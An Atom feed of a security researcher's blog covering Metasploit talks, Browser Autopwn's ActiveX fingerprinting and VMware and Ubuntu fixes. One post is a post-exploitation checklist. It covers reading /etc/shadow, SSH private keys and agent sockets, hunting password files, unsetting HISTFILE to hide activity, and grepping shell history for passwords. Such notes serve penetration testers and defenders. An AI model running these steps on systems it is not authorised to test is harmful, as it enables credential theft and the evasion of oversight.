<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-27714325</id><updated>2011-12-20T18:09:27.236-08:00</updated><category term='screen'/><category term='lego'/><category term='encoding'/><category term='movies'/><category term='vmware'/><category term='security'/><category term='ssh'/><category term='problems linking ws2_32'/><category term='conference'/><category term='bash'/><category term='mosref'/><category term='sshd'/><category term='i hate windows programming'/><category term='tactical exploitation'/><category term='life'/><category term='encryption'/><category term='base64'/><category term='mingw'/><category term='intar-tubes'/><category term='shovel'/><category term='unix'/><category term='keylogger'/><category term='keyboard'/><category term='mosquito'/><category term='pure bash'/><category term='ubuntu'/><category term='ridiculous'/><category term='mingw32'/><title type='text'>$ dd if=/dev/profanity</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>30</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-27714325.post-6748928695745125216</id><published>2010-01-21T12:21:00.000-08:00</published><updated>2010-01-22T09:03:38.905-08:00</updated><title type='text'>Blackhat DC</title><content type='html'>Another Metasploit track is in the works, this time for &lt;a href="http://www.blackhat.com/html/bh-dc-10/bh-dc-10-home.html"&gt;Blackhat DC&lt;/a&gt;.  I will be presenting on &lt;a href="http://blackhat.com/html/bh-dc-10/bh-dc-10-briefings.html#Egypt"&gt;exploit automation using the Metasploit Framework&lt;/a&gt;.  Hope to see you there.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-6748928695745125216?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/6748928695745125216/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=6748928695745125216' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/6748928695745125216'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/6748928695745125216'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2010/01/blackhat-dc.html' title='Blackhat DC'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-1009880400746031485</id><published>2009-10-21T22:56:00.000-07:00</published><updated>2009-10-21T23:05:21.820-07:00</updated><title type='text'>Media Frenzy</title><content type='html'>Some life-changing events going on over at &lt;a href="http://blog.metasploit.com/2009/10/joining-team.html"&gt;the metasploit blog&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-1009880400746031485?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/1009880400746031485/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=1009880400746031485' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/1009880400746031485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/1009880400746031485'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2009/10/media-frenzy.html' title='Media Frenzy'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-6793285657615085487</id><published>2009-08-08T23:06:00.000-07:00</published><updated>2009-08-08T23:35:15.909-07:00</updated><title type='text'>Sliding Home</title><content type='html'>As promised, my slides for Blackhat/Defcon 2009 have been placed in a web-accessible location:  &lt;a href="http://metasploit.com/users/egypt/guided-missiles.pdf"&gt;Using Guided Missiles in Drive-bys&lt;/a&gt;.  Thanks everyone who showed up.  To those who didn't, maybe I'll see you next time.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-6793285657615085487?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/6793285657615085487/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=6793285657615085487' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/6793285657615085487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/6793285657615085487'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2009/08/sliding-home.html' title='Sliding Home'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-506333694950131719</id><published>2009-07-14T21:13:00.000-07:00</published><updated>2009-07-15T22:41:47.405-07:00</updated><title type='text'>A Dark-colored Chapeau</title><content type='html'>I'm making this post in the vain hope that someone cares about what security conference topics I find interesting.  With that being said, Blackhat is going to be awesome this year, not least because of the Metasploit track.  Without further ado, here are the talks I plan to attend.&lt;br /&gt;&lt;br /&gt;Day One:&lt;br /&gt;&lt;a href="http://blackhat.com/html/bh-usa-09/bh-usa-09-speakers.html#Egypt"&gt;I'm presenting at 13:45&lt;/a&gt; and, judging by my history, I probably won't be done with my slides until about 13:43, so I'm planning to miss all of the morning stuff.&lt;br /&gt;&lt;br /&gt;15:15 &lt;a href="http://blackhat.com/html/bh-usa-09/bh-usa-09-speakers.html#Esser"&gt;Stefan Esser: State of the Art Post Exploitation in Hardened PHP Environments&lt;/a&gt;&lt;br /&gt;This is a tough choice and I may end up flipping on it later.  Valsmith and Colin's stuff is freaking awesome but I think Esser's work could end up being really useful for PHP meterpreter.&lt;br /&gt;&lt;br /&gt;16:45 &lt;a href="http://blackhat.com/html/bh-usa-09/bh-usa-09-speakers.html#VSmith"&gt;Valsmith, Ames, Kerb: Metaphish pt2.&lt;/a&gt;&lt;br /&gt;I hope I can get into the room after the break.&lt;br /&gt;&lt;br /&gt;Day Two:&lt;br /&gt;&lt;br /&gt;10:00 &lt;a href="http://blackhat.com/html/bh-usa-09/bh-usa-09-speakers.html#Datagram"&gt;Datagram: Lockpicking Forensics&lt;/a&gt;&lt;br /&gt;Lockpicking is a terrifically fun hobby and I'd like to learn more about it.&lt;br /&gt;&lt;br /&gt;11:15 &lt;a href="http://blackhat.com/html/bh-usa-09/bh-usa-09-speakers.html#Harbour"&gt;Nick Harbour: Win at Reversing&lt;/a&gt;&lt;br /&gt;I usually lose.&lt;br /&gt;&lt;br /&gt;13:45 &lt;a href="http://blackhat.com/html/bh-usa-09/bh-usa-09-speakers.html#Quist"&gt;Danny Quist &amp; Lorie Liebrock: Reverse Engineering by Crayon&lt;/a&gt;&lt;br /&gt;Dr. Liebrock was a professor of mine and Danny is one of the best Reverse Engineers I've ever met.  Can't miss this one.&lt;br /&gt;&lt;br /&gt;15:15 &lt;a href="http://blackhat.com/html/bh-usa-09/bh-usa-09-speakers.html#Kortchinsky"&gt;Kostya Kortchinsky: Cloudburst - Hacking 3D and Breaking out of VMware&lt;/a&gt;&lt;br /&gt;I'm not especially interested in VMware but Kostya Kortchinsky is an exploit machine.  If I die half as good as Kostya is today, I'll be happy.&lt;br /&gt;&lt;br /&gt;16:45 &lt;a href="http://blackhat.com/html/bh-usa-09/bh-usa-09-speakers.html#Iozzo"&gt;Vincenzo Iozzo &amp; Charlie Miller: Post Exploitation Bliss - Loading Meterpreter on a Factory iPhone&lt;/a&gt;&lt;br /&gt;Meterpreter is awesome and having the same post-exploitation toolkit available on multiple platforms is something I've wanted for a long time.  The fact that these guys ported it to a tiny embedded device that frequently gets connected to tons of open wifi networks is an extra bonus.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-506333694950131719?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/506333694950131719/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=506333694950131719' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/506333694950131719'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/506333694950131719'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2009/07/dark-colored-chapeau.html' title='A Dark-colored Chapeau'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-5387794772018584318</id><published>2009-05-14T21:39:00.000-07:00</published><updated>2009-05-16T11:51:16.084-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='keyboard'/><category scheme='http://www.blogger.com/atom/ns#' term='vmware'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>VMWare keyboard issues</title><content type='html'>I've been fighting with keyboard issues in VMWare since I started using Ubuntu.  I'm not sure if the problems are specific to Ubuntu or if they were just introduced around the time I moved away from Gentoo, but either way, it's really annoying.  First, VMWare would occasionally not recognize keys correctly in guests.  The down arrow would become the windows key, shift would become ctrl, and alt, home, end, pgup, pgdn and the rest of the arrow keys would appear to quit functioning altogether.  Outside of the guest, everything was fine.  The fix for that was to tell VMWare to use the keymap provided by X instead of trying to figure it out.  Open up ~/.vmware/config with your favorite editor (creating it if it doesn't exist) and add the following line:&lt;br /&gt;&lt;code&gt;xkeymap.noKeycodeMap = "TRUE"&lt;/code&gt;&lt;br /&gt;Thanks to http://nthrbldyblg.blogspot.com/2008/06/vmware-and-fubar-keyboard-effect.html for this one.&lt;br /&gt;&lt;br /&gt;Next, VMWare would occasionally cause all of the same keys from the previous bug either to stop working or to act as though they are permanently pressed in the &lt;i&gt;host&lt;/i&gt;.  After playing with this bug for awhile I found that it happens most reliably when coming out of full-screen mode.  There's no real solution for this one, but running "&lt;tt&gt;setxkbmap&lt;/tt&gt;" from a terminal fixes it.  &lt;a href="http://communities.vmware.com/thread/150155"&gt;The vmware forums have a thread&lt;/a&gt; about this issue.  Since I sometimes can't type when this bug strikes (e.g. when ctrl is stuck), I added a launcher to my gnome panel so that a single mouse click can give me my keyboard back.&lt;br /&gt;&lt;br /&gt;Lastly, when using ctrl-g to have vmware grab input, it never releases the g key.  I haven't found a fix for this (except to avoid using ctrl-g) and the only way I've found to get a working desktop back is to ssh in from another machine and &lt;tt&gt;killall vmware&lt;/tt&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-5387794772018584318?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/5387794772018584318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=5387794772018584318' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/5387794772018584318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/5387794772018584318'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2009/05/ive-been-fighting-with-keyboard-issues.html' title='VMWare keyboard issues'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-3296473911213183511</id><published>2008-12-07T12:20:00.000-08:00</published><updated>2009-05-16T11:51:33.366-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>rubuntu</title><content type='html'>The Ubuntu package &lt;tt&gt;ruby1.8&lt;/tt&gt; does not install an executable called ruby.  It is expected that users install the package &lt;tt&gt;ruby&lt;/tt&gt; which depends on &lt;tt&gt;ruby1.8&lt;/tt&gt; and installs a single file: a symlink called /usr/bin/ruby that points to /usr/bin/ruby1.8.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-3296473911213183511?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/3296473911213183511/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=3296473911213183511' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/3296473911213183511'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/3296473911213183511'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2008/12/rubuntu.html' title='rubuntu'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-1419344517548660902</id><published>2008-11-19T21:02:00.000-08:00</published><updated>2008-11-19T21:37:23.893-08:00</updated><title type='text'>Metasploit 3.2 released</title><content type='html'>Despite a number of delays and HDM's slave-driving schedule, The Metasploit Framework version 3.2 was officially released today.  My main contributions include reliable bind, reverse, and findsock payloads for PHP script vulnerabilities and Browser Autopwn, a web client fingerprinting exploit machine.&lt;br /&gt;&lt;br /&gt;I will post more about Browser Autopwn, including some step-by-step explanations of how I use it, in the coming days.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-1419344517548660902?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/1419344517548660902/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=1419344517548660902' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/1419344517548660902'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/1419344517548660902'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2008/11/metasploit-32-released.html' title='Metasploit 3.2 released'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-6296137092874037811</id><published>2008-11-09T21:42:00.000-08:00</published><updated>2009-05-16T10:26:53.472-07:00</updated><title type='text'>obj.grabAnkles();</title><content type='html'>As far as I can tell, it is impossible to determine whether an ActiveX object created by classid actually works without just calling specific methods of that control and catching any exceptions.  It doesn't seem to matter whether it was created with an &lt;tt&gt;&amp;lt;object&amp;gt;&lt;/tt&gt; tag, or through javascript's &lt;tt&gt;document.createElement("object")&lt;/tt&gt; or &lt;tt&gt;document.write("&amp;lt;object...&amp;gt;")&lt;/tt&gt;.  Internet Explorer turns anything with an id attribute into a property of &lt;tt&gt;document&lt;/tt&gt;, and yet if you have &lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;object id="foo" classid="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;tt&gt;document.foo&lt;/tt&gt; advertises no property or method that is not available from an object with no classid.&lt;br /&gt;&lt;br /&gt;For those of you playing at home, yes this classid is one of the vulnerable ActiveX controls used in the MDAC / ie_createobject exploits.  If the object actually got instantiated correctly and we can talk to it, &lt;tt&gt;typeof(document.foo.CreateObject)&lt;/tt&gt; returns "unknown" rather than the "undefined" returned for properties that don't exist.  So if we know a specific method that the ActiveX implements, we can check to make sure it worked using that.  It is unfortunate, then, that there does not seem to be a standard method or property that all ActiveX objects must implement.  Unless I'm missing something, because of the lack of a universal method or property, we cannot generically determine whether an ActiveX control created in this way was successfully instantiated.  Thus, my "solution" for now is to save a method to test along with the classid.  If this doesn't work, I just might give up on browser_autopwn's fingerprinting altogether and simply throw every single exploit at the client.  And also maybe shoot myself.  I really hate IE.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-6296137092874037811?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/6296137092874037811/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=6296137092874037811' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/6296137092874037811'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/6296137092874037811'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2008/11/objgrabankles.html' title='obj.grabAnkles();'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-3521695046510576275</id><published>2008-10-30T22:41:00.000-07:00</published><updated>2008-10-30T22:57:04.426-07:00</updated><title type='text'>Tag, you're it</title><content type='html'>When I started writing ruby I missed the convenience of a &lt;tt&gt;tags&lt;/tt&gt; file for jumping around in vim to different parts of a project.  After a bit of digging I found &lt;a href="http://rubyforge.org/projects/rtags/"&gt;rtags&lt;/a&gt; to replace my beloved exuberant-ctags.  Today I updated my metasploit trunk and, since it had been awhile since I had updated tags, I also ran rtags.  Normally rtags is slow.  Running it in the metasploit source tree typically takes several minutes.  Today it seemed to hit infinite loops in multiple files, taking more than ten minutes on a single file before I killed it, added that file to the exclude list, ran it again and walked away for a while.  After running into this a dozen times or so over the course of the day, I decided to switch tactics.  As it turns out, exuberant-ctags has support for ruby, and probably has had it since before I started using rtags.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;root framework3 # time ctags --exclude '.svn' \&lt;br /&gt;--exclude=documentation/ --exclude=external/  \&lt;br /&gt;--exclude=data --recurse .&lt;br /&gt;&lt;br /&gt;real 0m0.742s&lt;br /&gt;user 0m0.616s&lt;br /&gt;sys 0m0.092s&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;*sigh*&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-3521695046510576275?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/3521695046510576275/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=3521695046510576275' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/3521695046510576275'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/3521695046510576275'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2008/10/tag-youre-it.html' title='Tag, you&apos;re it'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-7028677376325561118</id><published>2008-10-21T15:51:00.000-07:00</published><updated>2008-10-21T16:20:17.233-07:00</updated><title type='text'>Torontosploit</title><content type='html'>While attending &lt;a href="http://sector.ca"&gt;SecTor&lt;/a&gt;, I finally met HD Moore in person after having been a core developer for Metasploit for almost eight months.  I had been introduced to him at Defcon a couple of years ago but we didn't actually talk so it doesn't count.  Over beers, he asked me to co-present "Metasploit Prime," a discussion of new features available in the upcoming Metasploit 3.2-release.  The release itself will be announced in the next few days.  &lt;a href="http://metasploit.com/data/confs/sector2008/metasploit_prime.pdf"&gt;Slides&lt;/a&gt;(pdf) and &lt;a href="http://sector.ca/presentations/video/Sector%202008%20-%20H%20D%20Moore.wmv"&gt;video&lt;/a&gt; (wmv) for that presentation are now available.  The video is actually just audio over the slides, which is somewhat disappointing.  This is a gripe I've had with Blackhat for many years and Sector made the same mistake.  Regardless of that little issue, Sector was a blast; I learned some stuff and had a great time in Toronto hanging out with HD, &lt;a href="http://jaybeale.vox.com/"&gt;Jay Beale&lt;/a&gt;, Mark Fabro, and a bunch of other incredibly smart guys.  SecTor is much smaller than Defcon (which is the only other security conference I've been to) and I really liked the tighter knit crowd -- it makes it much easier to meet people.  It was considerably less technical but I enjoyed it nonetheless.  At Defcon, I mostly just hung out with people I already knew because the crowds were so daunting while at Sector, it was easy to meet the rockstar presenters as well as lesser-known attending geniuses.  Because of my experience at Sector, I will certainly look at smaller conferences in a new light.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-7028677376325561118?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/7028677376325561118/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=7028677376325561118' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/7028677376325561118'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/7028677376325561118'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2008/10/torontosploit.html' title='Torontosploit'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-319290307145217606</id><published>2008-07-05T12:30:00.001-07:00</published><updated>2008-07-06T10:40:33.205-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tactical exploitation'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><title type='text'>100 UNIX commands to issue on other people's systems</title><content type='html'>In response to &lt;a href="http://addxorrol.blogspot.com/2008/07/security-book-that-id-like-to-see.html"&gt;Halvar Flake's request&lt;/a&gt;...&lt;br /&gt;&lt;br /&gt;I'm not sure about 100, but there are a few that I use on any new system, mostly just basics that are useful on any multi-user environment: &lt;tt&gt;ifconfig -a&lt;/tt&gt;, &lt;tt&gt;netstat -pan --inet&lt;/tt&gt;, &lt;tt&gt;uname -a&lt;/tt&gt;, &lt;tt&gt;w&lt;/tt&gt;, &lt;tt&gt;id&lt;/tt&gt;, &lt;tt&gt;mount&lt;/tt&gt;, &lt;tt&gt;ps auxww&lt;/tt&gt;.&lt;br /&gt;&lt;br /&gt;These tell you a lot about the system and where you might go from there for further exploitation.  &lt;tt&gt;ifconfig&lt;/tt&gt;, like &lt;tt&gt;ipconfig&lt;/tt&gt; on Windows, can tell you if the system has a NIC on another network and &lt;tt&gt;netstat&lt;/tt&gt; can tell you if it's talking to one.  It's important to note that options to netstat vary from one OS to another -- the above options will list all AF_INET sockets along with associated process IDs on Linux without doing DNS lookups.  On Solaris and AIX it is not possible to see PIDs and the command to list all AF_INET sockets without doing DNS lookups is &lt;tt&gt;netstat -an -finet&lt;/tt&gt;.  &lt;tt&gt;uname&lt;/tt&gt; tells you the OS name and kernel version.  &lt;tt&gt;w&lt;/tt&gt; (or its cousin &lt;tt&gt;who&lt;/tt&gt;) will let you know if someone might be watching.  &lt;tt&gt;id&lt;/tt&gt; is &lt;tt&gt;whoami&lt;/tt&gt; on steroids; it gives uid, gid, and a list of groups you belong to.  &lt;tt&gt;mount&lt;/tt&gt; tells you how the system's storage is layed out and whether there are any removable drives attached at the moment.  &lt;tt&gt;ps&lt;/tt&gt; lists processes and the argument tells it to list all of them, including arguments, with the owner's username.  If you're lucky, sometimes you see things like this:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;root     21810  0.0  0.4   6984  2452 pts/10   S+   21:13   0:00 mysql -uroot -ppassword&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Then we come to interesting files.  Obviously &lt;tt&gt;/etc/passwd&lt;/tt&gt; and &lt;tt&gt;/etc/shadow&lt;/tt&gt; are of interest.  But so are slightly more obscure things like &lt;tt&gt;/home/*/.ssh/id_rsa&lt;/tt&gt; (private keys) and &lt;tt&gt;/tmp/ssh-*/*&lt;/tt&gt; (ssh-agent auth sockets).  I mentioned some abuses of these files about a &lt;a href="http://0xegypt.blogspot.com/2007/01/nastier-tricks-with-ssh.html"&gt;year and a half ago&lt;/a&gt;.  I suggest a viewing of HD Moore and Valsmith's Blackhat 2007 talk, &lt;a href="http://www.metasploit.com/data/confs/blackhat2007/tactical_blackhat2007.pdf"&gt;Tactical Exploitation&lt;/a&gt; for some more fun things to do with ssh and kerberos.&lt;br /&gt;&lt;br /&gt;Finding interesting files can sometimes be a problem, so we have &lt;tt&gt;find&lt;/tt&gt; to help us out.  For instance, if you want to list all of the binaries you have permission to read with the setuid bit set: &lt;tt&gt;find / -perm +0400 2&gt;/dev/null&lt;/tt&gt;.  All files with password or passwd in their name: &lt;tt&gt;find / -iname '*passwd*' -or -iname '*password*'&lt;/tt&gt;.&lt;br /&gt;&lt;br /&gt;If you worry about leaving commands in a history file, you'll probably want to &lt;tt&gt;unset HISTFILE&lt;/tt&gt;.  On the other hand, sometimes the history helps an attacker, too.  In bash the command &lt;tt&gt;history&lt;/tt&gt; lists all of the commands in the history file.  So &lt;tt&gt;history | grep -A1 '^ssh'&lt;/tt&gt; and &lt;tt&gt;history | grep -A1 '^su'&lt;/tt&gt; can often yield passwords when the user whose account you've compromised doesn't pay attention to make sure the password prompt actually came up before typing.&lt;br /&gt;&lt;br /&gt;A few more commands that are really cool but are less likely to be installed include: lsof and screen.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-319290307145217606?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/319290307145217606/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=319290307145217606' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/319290307145217606'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/319290307145217606'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2008/07/100-unix-commands-to-issue-on-other.html' title='100 UNIX commands to issue on other people&apos;s systems'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-1203291025523549314</id><published>2008-03-11T20:22:00.000-07:00</published><updated>2008-03-11T20:55:01.975-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='i hate windows programming'/><category scheme='http://www.blogger.com/atom/ns#' term='mingw32'/><category scheme='http://www.blogger.com/atom/ns#' term='mingw'/><category 